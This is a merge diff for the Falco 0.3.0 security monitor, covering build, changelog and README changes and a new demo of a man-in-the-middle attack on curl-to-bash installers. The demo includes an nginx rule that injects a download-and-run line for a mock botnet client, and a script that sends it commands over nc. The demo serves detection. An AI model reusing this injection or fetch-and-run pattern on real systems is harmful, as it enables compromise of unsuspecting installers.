Merge pull request #109 from draios/dev

Merging for 0.3.0

.gitignore

@@ -1,4 +1,11 @@
 /build*
+*~
+test/falco_test.pyc
+test/falco_tests.yaml
+test/traces-negative
+test/traces-positive
+test/traces-info
+test/job-results
 
 userspace/falco/lua/re.lua
 userspace/falco/lua/lpeg.so

.travis.yml

@@ -0,0 +1,46 @@
+language: c
+env:
+    - BUILD_TYPE=Debug
+    - BUILD_TYPE=Release
+before_install:
+    - sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test
+    - sudo apt-get update
+install:
+    - sudo apt-get --force-yes install g++-4.8
+    - sudo apt-get install rpm linux-headers-$(uname -r)
+    - git clone https://github.com/draios/sysdig.git ../sysdig
+    - sudo apt-get install -y python-pip libvirt-dev jq
+    - cd ..
+    - curl -Lo avocado-36.0-tar.gz https://github.com/avocado-framework/avocado/archive/36.0lts.tar.gz
+    - tar -zxvf avocado-36.0-tar.gz
+    - cd avocado-36.0lts
+    - sudo pip install -r requirements-travis.txt
+    - sudo python setup.py install
+    - cd ../falco
+before_script:
+    - export KERNELDIR=/lib/modules/$(ls /lib/modules | sort | head -1)/build
+script:
+    - set -e
+    - export CC="gcc-4.8"
+    - export CXX="g++-4.8"
+    - wget https://s3.amazonaws.com/download.draios.com/dependencies/cmake-3.3.2.tar.gz
+    - tar -xzf cmake-3.3.2.tar.gz
+    - cd cmake-3.3.2
+    - ./bootstrap --prefix=/usr
+    - make
+    - sudo make install
+    - cd ..
+    - mkdir build
+    - cd build
+    - cmake .. -DCMAKE_BUILD_TYPE=$BUILD_TYPE
+    - make VERBOSE=1
+    - make package
+    - cd ..
+    - sudo test/run_regression_tests.sh $TRAVIS_BRANCH
+notifications:
+  webhooks:
+    urls:
+#      - https://webhooks.gitter.im/e/fdbc2356fb0ea2f15033
+    on_success: change
+    on_failure: always
+    on_start: never

CHANGELOG.md

@@ -2,6 +2,89 @@
 
 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
+## v0.3.0
+
+Released 2016-08-05
+
+### Major Changes
+
+Significantly improved performance, involving changes in the falco and sysdig repositories:
+
+* Reordering a rule condition's operators to put likely-to-fail operators at the beginning and expensive operators at the end. [[#95](https://github.com/draios/falco/pull/95/)] [[#104](https://github.com/draios/falco/pull/104/)]
+* Adding the ability to perform x in (a, b, c, ...) as a single set membership test instead of individual comparisons between x=a, x=b, etc. [[#624](https://github.com/draios/sysdig/pull/624)] [[#98](https://github.com/draios/falco/pull/98/)]
+* Avoid unnecessary string manipulations. [[#625](https://github.com/draios/sysdig/pull/625)]
+* Using `startswith` as a string comparison operator when possible. [[#623](https://github.com/draios/sysdig/pull/623)]
+* Use `is_open_read`/`is_open_write` when possible instead of searching through open flags. [[#610](https://github.com/draios/sysdig/pull/610)]
+* Group rules by event type, which allows for an initial filter using event type before going through each rule's condition. [[#627](https://github.com/draios/sysdig/pull/627)] [[#101](https://github.com/draios/falco/pull/101/)]
+
+All of these changes result in dramatically reduced CPU usage. Here are some comparisons between 0.2.0 and 0.3.0 for the following workloads:
+
+* [Phoronix](http://www.phoronix-test-suite.com/)'s `pts/apache` and `pts/dbench` tests.
+* Sysdig Cloud Kubernetes Demo: Starts a kubernetes environment using docker with apache and wordpress instances + synthetic workloads.
+* [Juttle-engine examples](https://github.com/juttle/juttle-engine/blob/master/examples/README.md) : Several elasticsearch, node.js, logstash, mysql, postgres, influxdb instances run under docker-compose.
+
+| Workload | 0.2.0 CPU Usage | 0.3.0 CPU Usage |
+|----------| --------------- | ----------------|
+| pts/apache | 24% | 7% |
+| pts/dbench | 70% | 5% |
+| Kubernetes-Demo (Running) | 6% | 2% |
+| Kubernetes-Demo (During Teardown) | 15% | 3% |
+| Juttle-examples | 3% | 1% |
+
+As a part of these changes, falco now prefers rule conditions that have at least one `evt.type=` operator, at the beginning of the condition, before any negative operators (i.e. `not` or `!=`). If a condition does not have any `evt.type=` operator, falco will log a warning like:
+
+```
+Rule no_evttype: warning (no-evttype):
+proc.name=foo
+     did not contain any evt.type restriction, meaning it will run for all event types.
+     This has a significant performance penalty. Consider adding an evt.type restriction if possible.
+```
+
+If a rule has a `evt.type` operator in the later portion of the condition, falco will log a warning like:
+
+```
+Rule evttype_not_equals: warning (trailing-evttype):
+evt.type!=execve
+     does not have all evt.type restrictions at the beginning of the condition,
+     or uses a negative match (i.e. "not"/"!=") for some evt.type restriction.
+     This has a performance penalty, as the rule can not be limited to specific event types.
+     Consider moving all evt.type restrictions to the beginning of the rule and/or
+     replacing negative matches with positive matches if possible.
+```
+
+
+### Minor Changes
+
+* Several sets of rule cleanups to reduce false positives. [[#95](https://github.com/draios/falco/pull/95/)]
+* Add example of how falco can detect abuse of a badly designed REST API. [[#97](https://github.com/draios/falco/pull/97/)]
+* Add a new output type "program" that writes a formatted event to a configurable program. Each notification results in one invocation of the program. A common use of this output type would be to send an email for every falco notification. [[#105](https://github.com/draios/falco/pull/105/)] [[#99](https://github.com/draios/falco/issues/99)]
+* Add the ability to run falco on all events, including events that are flagged with `EF_DROP_FALCO`. (These events are high-volume, low-value events that are ignored by default to improve performance). [[#107](https://github.com/draios/falco/pull/107/)] [[#102](https://github.com/draios/falco/issues/102)]
+
+### Bug Fixes
+
+* Add third-party jq library now that sysdig requires it. [[#96](https://github.com/draios/falco/pull/96/)]
+
+## v0.2.0
+
+Released 2016-06-09
+
+For full handling of setsid system calls and session id tracking using `proc.sname`, falco requires a sysdig version >= 0.10.0.
+
+### Major Changes
+
+- Add TravisCI regression tests. Testing involves a variety of positive, negative, and informational trace files with both plain and json output. [[#76](https://github.com/draios/falco/pull/76)] [[#83](https://github.com/draios/falco/pull/83)]
+- Fairly big rework of ruleset to improve coverage, reduce false positives, and handle installation environments effectively [[#83](https://github.com/draios/falco/pull/83)] [[#87](https://github.com/draios/falco/pull/87)]
+- Not directly a code change, but mentioning it here--the Wiki has now been populated with an initial set of articles, migrating content from the README and adding detail when necessary. [[#90](https://github.com/draios/falco/pull/90)]
+
+### Minor Changes
+
+- Improve JSON output to include the rule name, full output string, time, and severity [[#89](https://github.com/draios/falco/pull/89)]
+
+### Bug Fixes
+
+- Improve CMake quote handling [[#84](https://github.com/draios/falco/pull/84)]
+- Remove unnecessary NULL check of a delete [[#85](https://github.com/draios/falco/pull/85)]
+
 ## v0.1.0
 
 Released 2016-05-17

CMakeLists.txt

@@ -42,7 +42,7 @@ set(PROBE_DEVICE_NAME "sysdig")
 
 set(CMD_MAKE make)
 
-set(SYSDIG_DIR ${PROJECT_SOURCE_DIR}/../sysdig)
+set(SYSDIG_DIR "${PROJECT_SOURCE_DIR}/../sysdig")
 
 include(ExternalProject)
 
@@ -58,6 +58,18 @@ ExternalProject_Add(zlib
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
 
+set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
+message(STATUS "Using bundled jq in '${JQ_SRC}'")
+set(JQ_INCLUDE "${JQ_SRC}")
+set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
+ExternalProject_Add(jq
+                URL "http://download.draios.com/dependencies/jq-1.5.tar.gz"
+                URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
+                CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
+                BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
+                BUILD_IN_SOURCE 1
+                INSTALL_COMMAND "")
+
 set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp")
 set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
 set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
@@ -103,6 +115,7 @@ ExternalProject_Add(yamlcpp
 
 set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
 set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
+set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
 set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
 set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
 
@@ -151,7 +164,7 @@ ExternalProject_Add(lpeg
                     DEPENDS luajit
 		    URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
                     URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
-                    BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} ${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh
+                    BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh"
                     BUILD_IN_SOURCE 1
 		    CONFIGURE_COMMAND ""
                     INSTALL_COMMAND "")
@@ -180,9 +193,9 @@ ExternalProject_Add(lyaml
 install(FILES falco.yaml
 	DESTINATION "${DIR_ETC}")
 
-add_subdirectory(${SYSDIG_DIR}/driver ${PROJECT_BINARY_DIR}/driver)
-add_subdirectory(${SYSDIG_DIR}/userspace/libscap ${PROJECT_BINARY_DIR}/userspace/libscap)
-add_subdirectory(${SYSDIG_DIR}/userspace/libsinsp ${PROJECT_BINARY_DIR}/userspace/libsinsp)
+add_subdirectory("${SYSDIG_DIR}/driver" "${PROJECT_BINARY_DIR}/driver")
+add_subdirectory("${SYSDIG_DIR}/userspace/libscap" "${PROJECT_BINARY_DIR}/userspace/libscap")
+add_subdirectory("${SYSDIG_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/userspace/libsinsp")
 
 add_subdirectory(rules)
 add_subdirectory(scripts)

README.md

@@ -1,294 +1,29 @@
 # Sysdig Falco
-### *Host Activity Monitoring using Sysdig Event Filtering*
 
-**Table of Contents**
+####Latest release
 
-- [Overview](#overview)
-- [Rules](#rules)
-- [Configuration](#configuration)
-- [Installation](#installation)
-- [Running Falco](#running-falco)
+**v0.3.0**
+Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
 
+Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
+Master Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=master)](https://travis-ci.org/draios/falco)
 
 ## Overview
-Sysdig Falco is a behavioral activity monitor designed to secure your applications. Powered by Sysdig’s universal system level visibility, write simple and powerful rules, and then output warnings in the format you need. Continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
-
+Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
 
 #### What kind of behaviors can Falco detect?
 
-Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
+Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
+
 - A shell is run inside a container
 - A server process spawns a child process of an unexpected type
-- Unexpected read of a sensitive file (like `/etc/passwd`)
+- Unexpected read of a sensitive file (like `/etc/shadow`)
 - A non-device file is written to `/dev`
 - A standard system binary (like `ls`) makes an outbound network connection
 
-#### How you use it
-
-Falco is deployed as a long-running daemon. You can install it as a debian/rpm
-package on a regular host or container host, or you can deploy it as a
-container.
-
-Falco is configured via a rules file defining the behaviors and events to
-watch for, and a general configuration file. Rules are expressed in a
-high-level, human-readable language. We've provided a sample rule file
-`./rules/falco_rules.yaml` as a starting point - you can (and will likely
-want!) to adapt it to your environment.
-
-When developing rules, one helpful feature is Falco's ability to read trace
-files saved by sysdig. This allows you to "record" the offending behavior
-once, and replay it with Falco as many times as needed while tweaking your
-rules.
-
-Once deployed, Falco uses the Sysdig kernel module and userspace libraries to
-watch for any events matching one of the conditions defined in the rule
-file. If a matching event occurs, a notification is written to the the
-configured output(s).
-
-
-## Rules
-
-_Call for contributions: If you come up with additional rules which you'd like to see in the core repository - PR welcome!_
-
-A Falco rules file is comprised of two kinds of elements: rules and macro definitions. Macros are simply definitions that can be re-used inside rules and other macros, providing a way to factor out and name common patterns.
-
-#### Conditions
-
-The key part of a rule is the _condition_ field. A condition is simply a boolean predicate on sysdig events.
-Conditions are expressed using the Sysdig [filter syntax](http://www.sysdig.org/wiki/sysdig-user-guide/#filtering). Any Sysdig filter is a valid Falco condition (with the caveat of certain excluded system calls, discussed below). In addition, Falco expressions can contain _macro_ terms, which are not present in Sysdig syntax.
-
-Here's an example of a condition that alerts whenever a bash shell is run inside a container:
-
-`container.id != host and proc.name = bash`
-
-The first clause checks that the event happened in a container (sysdig events have a `container` field that is equal to "host" if the event happened on a regular host). The second clause checks that the process name is `bash`. Note that this condition does not even include a clause with system call! It only uses event metadata. As such, if a bash shell does start up in a container, Falco will output events for every syscall that is done by that shell.
-
-_Tip: If you're new to sysdig and unsure what fields are available, run `sysdig -l` to see the list of supported fields._
-
-#### Rules
-
-Along with a condition, each rule includes the following fields:
-
-* _rule_: a short unique name for the rule
-* _desc_: a longer description of what the rule detects
-* _output_ and _priority_: The output format specifies the message that should be output if a matching event occurs, and follows the Sysdig [output format syntax](http://www.sysdig.org/wiki/sysdig-user-guide/#output-formatting). The priority is a case-insensitive representation of severity and should be one of "emergency", "alert", "critical", "error", "warning", "notice", "informational", or "debug".
-
-A complete rule using the above condition might be:
-
-```yaml
-- condition: container.id != host and proc.name = bash
-  output: "shell in a container (%user.name %container.id %proc.name %evt.dir %evt.type %evt.args %fd.name)"
-  priority: WARNING
-```
-
-#### Macros
-As noted above, macros provide a way to define common sub-portions of rules in a reusable way. As a very simple example, if we had many rules for events happening in containers, we might to define a `in_container` macro:
-
-```yaml
-- macro: in_container
-  condition: container.id != host
-```
-
-With this macro defined, we can then rewrite the above rule's condition as `in_container and proc.name = bash`.
-
-For many more examples of rules and macros, please take a look at the accompanying [rules file](rules/falco_rules.yaml).
-
-
-#### Ignored system calls
-
-For performance reasons, some system calls are currently discarded before Falco processing. The current list is:
-`clock_getres,clock_gettime,clock_nanosleep,clock_settime,close,epoll_create,epoll_create1,epoll_ctl,epoll_pwait,epoll_wait,eventfd,fcntl,fcntl64,fstat,fstat64,fstatat64,fstatfs,fstatfs64,futex,getitimer,gettimeofday,ioprio_get,ioprio_set,llseek,lseek,lstat,lstat64,mmap,mmap2,munmap,nanosleep,poll,ppoll,pread64,preadv,procinfo,pselect6,pwrite64,pwritev,read,readv,recv,recvfrom,recvmmsg,recvmsg,sched_yield,select,send,sendfile,sendfile64,sendmmsg,sendmsg,sendto,setitimer,settimeofday,shutdown,splice,stat,stat64,statfs,statfs64,switch,tee,timer_create,timer_delete,timerfd_create,timerfd_gettime,timerfd_settime,timer_getoverrun,timer_gettime,timer_settime,wait4,write,writev`
-
-
-## Configuration
-
-General configuration is done via a separate yaml file. The
-[config file](falco.yaml) in this repo has comments describing the various
-configuration options.
-
-
-## Installation
-#### Scripted install
-
-To install Falco automatically in one step, simply run the following command as root or with sudo:
-
-`curl -s https://s3.amazonaws.com/download.draios.com/stable/install-falco | sudo bash`
-
-#### Package install
-
-##### RHEL
-
-- Trust the Draios GPG key and configure the yum repository
-```
-rpm --import https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public
-curl -s -o /etc/yum.repos.d/draios.repo http://download.draios.com/stable/rpm/draios.repo
-```
-- Install the EPEL repository
-
-Note: The following command is required only if DKMS is not available in the distribution. You can verify if DKMS is available with yum list dkms
-
-`rpm -i http://mirror.us.leaseweb.net/epel/6/i386/epel-release-6-8.noarch.rpm`
-
-- Install kernel headers
-
-Warning: The following command might not work with any kernel. Make sure to customize the name of the package properly
-
-`yum -y install kernel-devel-$(uname -r)`
-
-- Install Falco
-
-`yum -y install falco`
-
-
-To uninstall, just do `yum erase falco`.
-
-##### Debian
-
-- Trust the Draios GPG key, configure the apt repository, and update the package list
-
-```
-curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add -
-curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/stable/deb/draios.list
-apt-get update
-```
-
-- Install kernel headers
-
-Warning: The following command might not work with any kernel. Make sure to customize the name of the package properly
-
-`apt-get -y install linux-headers-$(uname -r)`
-
-- Install Falco
-
-`apt-get -y install falco`
-
-To uninstall, just do `apt-get remove falco`.
-
-
-##### Container install (general)
-
-If you have full control of your host operating system, then installing Falco using the normal installation method is the recommended best practice. This method allows full visibility into all containers on the host OS. No changes to the standard automatic/manual installation procedures are required.
-
-However, Falco can also run inside a Docker container. To guarantee a smooth deployment, the kernel headers must be installed in the host operating system, before running Falco.
-
-This can usually be done on Debian-like distributions with:
-`apt-get -y install linux-headers-$(uname -r)`
-
-Or, on RHEL-like distributions:
-`yum -y install kernel-devel-$(uname -r)`
-
-Falco can then be run with:
-
-```
-docker pull sysdig/falco
-docker run -i -t --name falco --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro sysdig/falco
-```
-
-##### Container install (CoreOS)
-
-The recommended way to run Falco on CoreOS is inside of its own Docker container using the install commands in the paragraph above. This method allows full visibility into all containers on the host OS.
-
-This method is automatically updated, includes some nice features such as automatic setup and bash completion, and is a generic approach that can be used on other distributions outside CoreOS as well.
-
-However, some users may prefer to run Falco in the CoreOS toolbox. While not the recommended method, this can be achieved by installing Falco inside the toolbox using the normal installation method, and then manually running the sysdig-probe-loader script:
-
-```
-toolbox --bind=/dev --bind=/var/run/docker.sock
-curl -s https://s3.amazonaws.com/download.draios.com/stable/install-falco | bash
-sysdig-probe-loader
-```
-
-
-
-## Running Falco
-
-Falco is intended to be run as a service. But for experimentation and designing/testing rulesets, you will likely want to run it manually from the command-line.
-
-#### Running Falco as a service (after installing package)
-
-`service falco start`
-
-#### Running Falco in a container
-
-`docker run -i -t --name falco --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro sysdig/falco`
-
-#### Running Falco manually
-
-Do `falco --help` to see the command-line options available when running manually.
-
-
-## Building and running Falco locally from source
-Building Falco requires having `cmake` and `g++` installed.
-
-
-#### Building Falco
-Clone this repo in a directory that also contains the sysdig source repo. The result should be something like:
-
-```
-22:50 vagrant@vagrant-ubuntu-trusty-64:/sysdig
-$ pwd
-/sysdig
-22:50 vagrant@vagrant-ubuntu-trusty-64:/sysdig
-$ ls -l
-total 20
-drwxr-xr-x  1 vagrant vagrant  238 Feb 21 21:44 falco
-drwxr-xr-x  1 vagrant vagrant  646 Feb 21 17:41 sysdig
-```
-
-create a build dir, then setup cmake and run make from that dir:
-
-```
-$ mkdir build
-$ cd build
-$ cmake ..
-$ make
-```
-
-as a result, you should have a falco executable in `build/userspace/falco/falco`.
-
-#### Load latest sysdig kernel module
-
-If you have a binary version of sysdig installed, an older sysdig kernel module may already be loaded. To ensure you are using the latest version, you should unload any existing sysdig kernel module and load the locally built version.
-
-Unload any existing kernel module via:
-
-`$ rmmod sysdig_probe`
-
-To load the locally built version, assuming you are in the `build` dir, use:
-
-`$ insmod driver/sysdig-probe.ko`
-
-#### Running Falco
-
-Assuming you are in the `build` dir, you can run Falco as:
-
-`$ sudo ./userspace/falco/falco -c ../falco.yaml -r ../rules/falco_rules.yaml`
-
-Or instead you can try using some of the simpler rules files in `rules`. Or to get started, try creating a file with this:
-
-Create a file with some [Falco rules](Rule-syntax-and-design). For example:
-```
-- macro: open_write
-  condition: >
-    (evt.type=open or evt.type=openat) and
-    fd.typechar='f' and
-    (evt.arg.flags contains O_WRONLY or
-    evt.arg.flags contains O_RDWR or
-    evt.arg.flags contains O_CREAT or
-    evt.arg.flags contains O_TRUNC)
-
-- macro: bin_dir
-  condition: fd.directory in (/bin, /sbin, /usr/bin, /usr/sbin)
-
-- rule: write_binary_dir
-  desc: an attempt to write to any file below a set of binary directories
-  condition: evt.dir = > and open_write and bin_dir
-  output: "File below a known binary directory opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
-  priority: WARNING
-
-```
-
-And you will see an output event for any interactive process that touches a file with "sysdig" or ".txt" in its name!
+Documentation
+---
+[Visit the wiki] (https://github.com/draios/falco/wiki) for full documentation on falco.
 
 Join the Community
 ---
@@ -309,22 +44,26 @@ Contributor License Agreements
  We’ve modeled our CLA off of industry standards, such as [the CLA used by Kubernetes](https://github.com/kubernetes/kubernetes/blob/master/CONTRIBUTING.md). Note that this agreement is not a transfer of copyright ownership, this simply is a license agreement for contributions, intended to clarify the intellectual property license granted with contributions from any person or entity. It is for your protection as a contributor as well as the protection of falco; it does not change your rights to use your own contributions for any other purpose.
 
  For some background on why contributor license agreements are necessary, you can read FAQs from many other open source projects:
- - [Django’s excellent CLA FAQ](https://www.djangoproject.com/foundation/cla/faq/)
- - [A well-written chapter from Karl Fogel’s Producing Open Source Software on CLAs](http://producingoss.com/en/copyright-assignment.html)
- - [The Wikipedia article on CLAs](http://en.wikipedia.org/wiki/Contributor_license_agreement)
 
- As always, we are grateful for your past and present contributions to falco.
+- [Django’s excellent CLA FAQ](https://www.djangoproject.com/foundation/cla/faq/)
+- [A well-written chapter from Karl Fogel’s Producing Open Source Software on CLAs](http://producingoss.com/en/copyright-assignment.html)
+- [The Wikipedia article on CLAs](http://en.wikipedia.org/wiki/Contributor_license_agreement)
 
- ###What do I need to do in order to contribute code?
- **Individual contributions**: Individuals who wish to make contributions must review the [Individual Contributor License Agreement](./cla/falco_contributor_agreement.txt) and indicate agreement by adding the following line to every GIT commit message:
+As always, we are grateful for your past and present contributions to falco.
 
-  falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+###What do I need to do in order to contribute code?
 
-  Use your real name; pseudonyms or anonymous contributions are not allowed.
+**Individual contributions**: Individuals who wish to make contributions must review the [Individual Contributor License Agreement](./cla/falco_contributor_agreement.txt) and indicate agreement by adding the following line to every GIT commit message:
 
-  **Corporate contributions**: Employees of corporations, members of LLCs or LLPs, or others acting on behalf of a contributing entity, must review the [Corporate Contributor License Agreement](./cla/falco_corp_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
+falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
 
-   falco-CLA-1.0-contributing-entity: Full Legal Name of Entity
-   falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+Use your real name; pseudonyms or anonymous contributions are not allowed.
 
-   Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.
+**Corporate contributions**: Employees of corporations, members of LLCs or LLPs, or others acting on behalf of a contributing entity, must review the [Corporate Contributor License Agreement](./cla/falco_corp_contributor_agreement.txt), must be an authorized representative of the contributing entity, and indicate agreement to it on behalf of the contributing entity by adding the following lines to every GIT commit message:
+
+```
+ falco-CLA-1.0-contributing-entity: Full Legal Name of Entity
+ falco-CLA-1.0-signed-off-by: Joe Smith <joe.smith@email.com>
+```
+
+Use a real name of a natural person who is an authorized representative of the contributing entity; pseudonyms or anonymous contributions are not allowed.

examples/mitm-sh-installer/README.md

@@ -0,0 +1,78 @@
+#Demo of falco with man-in-the-middle attacks on installation scripts
+
+For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
+
+## Demo architecture
+
+### Initial setup
+
+Make sure no prior `botnet_client.py` processes are lying around.
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
+* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
+* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
+* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
+* falco: will detect the activities of botnet_client.py.
+
+### Download `install-software.sh`, see botnet client running
+
+Run the following to fetch and execute the installation script,
+which also installs the botnet client:
+
+```
+$ curl http://localhost/install-software.sh | bash
+```
+
+You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
+
+Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
+
+```
+$ ps auxww  | grep python
+...
+root   19983  0.1  0.4  33992  8832 pts/1    S    13:34   0:00 python ./botnet_client.py
+
+$ telnet localhost 1234
+Trying ::1...
+Trying 127.0.0.1...
+Connected to localhost.
+Escape character is '^]'.
+```
+
+You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
+
+```
+attacker_botnet_master | Trying to contact compromised machine...
+attacker_botnet_master | Waiting for botnet command and control commands...
+attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
+attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
+```
+
+At this point, kill the botnet_client.py process to clean things up.
+
+### Run installation script again using `fbash`, note falco warnings.
+
+If you run the installation script again:
+
+```
+curl http://localhost/install-software.sh | ./fbash
+```
+
+In the docker-compose output, you'll see the following falco warnings:
+
+```
+falco                  | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
+falco                  | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=)
+falco                  | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090)
+falco                  | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
+falco                  | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
+```

examples/mitm-sh-installer/botnet_master.sh

@@ -0,0 +1,7 @@
+#!/bin/sh
+
+while true; do
+    echo "Trying to contact compromised machine..."
+    echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands"
+    sleep 5
+done

examples/mitm-sh-installer/demo.yml

@@ -0,0 +1,51 @@
+# Owned by software vendor, serving install-software.sh.
+apache:
+  container_name: apache
+  image: httpd:2.4
+  volumes:
+        - ${PWD}/web_root:/usr/local/apache2/htdocs
+
+# Owned by software vendor, compromised by attacker.
+nginx:
+  container_name: mitm_nginx
+  image: nginx:latest
+  links:
+    - apache
+  ports:
+      - "80:80"
+  volumes:
+        - ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro
+
+# Owned by attacker.
+evil_apache:
+  container_name: evil_apache
+  image: httpd:2.4
+  volumes:
+        - ${PWD}/evil_web_root:/usr/local/apache2/htdocs
+  ports:
+      - "9090:80"
+
+# Owned by attacker, constantly trying to contact client.
+attacker_botnet_master:
+  container_name: attacker_botnet_master
+  image: alpine:latest
+  net: host
+  volumes:
+    - ${PWD}/botnet_master.sh:/tmp/botnet_master.sh
+  command:
+    - /tmp/botnet_master.sh
+
+# Owned by client, detects attack by attacker
+falco:
+  container_name: falco
+  image: sysdig/falco:latest
+  privileged: true
+  volumes:
+    - /var/run/docker.sock:/host/var/run/docker.sock
+    - /dev:/host/dev
+    - /proc:/host/proc:ro
+    - /boot:/host/boot:ro
+    - /lib/modules:/host/lib/modules:ro
+    - /usr:/host/usr:ro
+    - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
+  tty: true

examples/mitm-sh-installer/evil_web_root/botnet_client.py

@@ -0,0 +1,18 @@
+import socket;
+import signal;
+import os;
+
+os.close(0);
+os.close(1);
+os.close(2);
+
+signal.signal(signal.SIGINT,signal.SIG_IGN);
+serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+serversocket.bind(('0.0.0.0', 1234))
+serversocket.listen(5);
+while 1:
+    (clientsocket, address) = serversocket.accept();
+    clientsocket.send('Waiting for botnet command and control commands...\n');
+    command = clientsocket.recv(1024)
+    clientsocket.send('Ok, will execute "{}"\n'.format(command.strip()))
+    clientsocket.close()

examples/mitm-sh-installer/fbash

@@ -0,0 +1,15 @@
+#!/bin/bash
+
+SID=`ps --no-heading -o sess --pid $$`
+
+if [ $SID -ne $$ ]; then
+    # Not currently a session leader? Run a copy of ourself in a new
+    # session, with copies of stdin/stdout/stderr.
+    setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr &
+    FBASH=$!
+    trap "kill $FBASH; exit" SIGINT SIGTERM
+    wait $FBASH
+else
+    # Just evaluate the commands (from stdin)
+    source /dev/stdin
+fi

examples/mitm-sh-installer/nginx.conf

@@ -0,0 +1,12 @@
+http {
+    server {
+        location / {
+            sub_filter_types '*';
+            sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {';
+            sub_filter_once off;
+            proxy_pass http://apache:80;
+        }
+    }
+}
+events {
+}

examples/mitm-sh-installer/web_root/install-software.sh

@@ -0,0 +1,156 @@
+#!/bin/bash
+#
+# Copyright (C) 2013-2014 My Company inc.
+#
+# This file is part of my-software
+#
+# my-software is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2 as
